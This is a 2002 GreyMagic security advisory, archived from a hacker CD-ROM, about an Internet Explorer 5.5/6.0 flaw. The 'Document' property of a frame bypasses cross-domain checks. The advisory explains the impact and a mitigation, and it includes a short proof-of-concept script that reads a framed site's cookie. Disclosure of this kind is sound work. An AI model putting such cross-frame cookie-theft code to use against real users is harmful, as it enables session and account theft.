home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 14 / hacker14.iso / exploits / gm / gm011.txt
Encoding:
Text File  |  2002-10-21  |  3.8 KB  |  132 lines

  1. GreyMagic Security Advisory GM#011-IE
  2. =====================================
  3.  
  4. By GreyMagic Software, Israel.
  5. 15 Oct 2002.
  6.  
  7. Available in HTML format at http://security.greymagic.com/adv/gm011-ie/.
  8.  
  9. Topic: Internet Explorer : The D-Day.
  10.  
  11. Discovery date: 26 Sep 2002.
  12.  
  13. Affected applications:
  14. ======================
  15.  
  16. Microsoft Internet Explorer 5.5 and 6.0; prior versions and IE6 SP1 are not
  17. vulnerable.
  18.  
  19. Note that any other application that uses Internet Explorer's engine
  20. (WebBrowser control) is affected as well (Outlook under the Internet zone,
  21. MSN Explorer, etc.).
  22.  
  23.  
  24. Introduction:
  25. =============
  26.  
  27. The <frame> and <iframe> elements may contain URLs in other domains or
  28. protocols, and therefore have strict security rules, which prevent frames in
  29. one domain to access content and information in another. Microsoft explains
  30. the issue in this Cross-Frame Scripting article -
  31. http://msdn.microsoft.com/workshop/author/om/xframe_scripting_security.asp.
  32.  
  33. There are several ways to refer to an <iframe>'s (or <frame>) document in
  34. Internet Explorer (assuming <iframe id="oFrameId">):
  35.  
  36. * oFrameId.document
  37. * document.all.oFrameId.contentWindow.document
  38. * frames.oFrameId.document
  39. * And others..
  40.  
  41. All these methods are handled correctly by Internet Explorer and prevent any
  42. attempt to access a document that originates from a foreign domain.
  43.  
  44.  
  45. Discussion:
  46. ===========
  47.  
  48. The <iframe> and <frame> elements are really instances of the WebBrowser
  49. control supplied by Microsoft. The WebBrowser control exposes several
  50. potentially dangerous properties by default, which Microsoft overrides in
  51. Internet Explorer.
  52.  
  53. However, Microsoft missed out on one important property -- "Document", with
  54. a capital "D".
  55.  
  56. Normally, using "oElement.document" would provide a reference to the
  57. document that owns the current element. The same applies to the <frame> and
  58. <iframe> elements. However, we discovered that when
  59. "oIFrameElement.Document" is used, the returned document is the one
  60. contained inside the frame, and there are no security restrictions in place
  61. to check if it's in a different domain.
  62.  
  63. This provides free and full access to the frame's Document Object Model,
  64. which allows an attacker to steal cookies from any site, gain access to
  65. content in sites (forging content), read local files and execute arbitrary
  66. programs on the client's machine (script in the "My Computer" zone).
  67.  
  68. Both Internet Explorer 5.5 SP2 and Internet Explorer 6 are vulnerable, but
  69. surprisingly this vulnerability does not exist in IE6 SP1. It's hard to
  70. believe that Microsoft actually meant to plug it as IE5.5 remains
  71. vulnerable, yet somehow this stray property is now protected.
  72.  
  73.  
  74. Exploit:
  75. ========
  76.  
  77. This exploit demonstrates how an attacker may choose to read the client's
  78. "google.com" cookie.
  79.  
  80. <script language="jscript">
  81. onload=function () {
  82.     // Timer necessary to prevent weird behavior in some conditions
  83.     setTimeout(
  84.         function () {
  85.             alert(document.getElementById("oVictim").Document.cookie);
  86.         },
  87.         100
  88.     );
  89. }
  90. </script>
  91. <iframe src="http://google.com" id="oVictim"></iframe>
  92.  
  93.  
  94. Solution:
  95. =========
  96.  
  97. Until a patch becomes available either disable Active Scripting or upgrade
  98. to IE6 SP1.
  99.  
  100.  
  101. Tested on:
  102. ==========
  103.  
  104. IE5.5 Win98.
  105. IE5.5 NT4.
  106. IE6 Win98.
  107. IE6 Win2000.
  108. IE6 WinXP.
  109.  
  110.  
  111. Demonstration:
  112. ==============
  113.  
  114. We put together four proof-of-concept demonstrations:
  115.  
  116. * Simple: Reads the client's "google.com" cookie.
  117. * D-Day Console: Automatically load and execute commands on any site.
  118. * D-Day Reading: Read local files by accessing a res:// URL.
  119. * D-Day Execution: Execute arbitrary programs by accessing a res:// URL.
  120.  
  121. They can all be found at http://security.greymagic.com/adv/gm011-ie/.
  122.  
  123.  
  124. Feedback:
  125. =========
  126.  
  127. Please mail any questions or comments to security@greymagic.com.
  128.  
  129. - Copyright ⌐ 2002 GreyMagic Software.
  130.  
  131.  
  132.